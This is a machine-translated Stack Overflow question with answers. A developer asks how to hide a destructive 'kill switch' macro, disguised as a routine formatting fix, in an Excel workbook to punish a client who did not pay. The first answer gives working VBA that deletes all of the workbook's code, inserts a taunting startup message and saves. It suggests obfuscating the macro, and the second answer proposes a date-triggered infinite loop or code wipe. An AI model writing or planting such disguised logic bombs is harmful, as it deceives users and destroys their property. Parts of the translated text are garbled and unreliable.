Excel VBA自毁开关

时间:2016-12-13 19:51:37

标签: excel vba excel-vba

我有我的第一个"客户 - 带我的工作 - 然后 - 幻影 - 我没有付费"经验。对于未来,我想放入一个killswitch,伪装成一个普通的宏,这使整个事情无法使用。这样,即使他们雇用某人破解密码并删除我的"您的审判已经过期......"检查,一个看起来很正常的宏(像#34; Fix_Sheet_Formatting"之类的东西)很容易被忽视和运行,摧毁一切并保存更改。

然而,离开VBA ......我们在这里谈论完全清除,所以一切都必须去。我将自己弄清楚如何所有这些,我只是不想浪费时间去追求一些不可能的事情:

VBA代码可以从工作簿运行时删除本身,还是从其他工作簿上的宏中删除?删除代码会导致宏停止运行,还是可以在完成所有操作后删除除了讨厌的MsgBox之外的所有内容?

2 个答案:

答案 0 :(得分:5)

我会留下评论来辩论这是否是一个好主意(恕我直言,它可能不是)。至于问题本身,当然有可能,并且不会中断宏执行:

Public Sub Example()
    Dim proj As Object
    Set proj = ThisWorkbook.VBProject
    Dim comp As Object
    For Each comp In proj.VBComponents
        With comp.CodeModule
            .DeleteLines 1, .CountOfLines
            If comp.Name = "ThisWorkbook" Then
                .InsertLines 1, "Private Sub Workbook_Open()" & vbCrLf & _
                                vbTab & "MsgBox ""Where's my money, @#$%&!?""" & vbCrLf & _
                                "End Sub"
            End If
        End With
    Next
    ThisWorkbook.Save
End Sub

混淆是读者的一项练习。

答案 1 :(得分:1)

放入一个带有到期日期的循环作为您的付款数据。在内部编写代码以使宏进入无限循环或删除代码。 如果付款是按时进行的,则只需在上面的代码段中注释,否则请等待客户在循环中定义的第二天再次与您联系。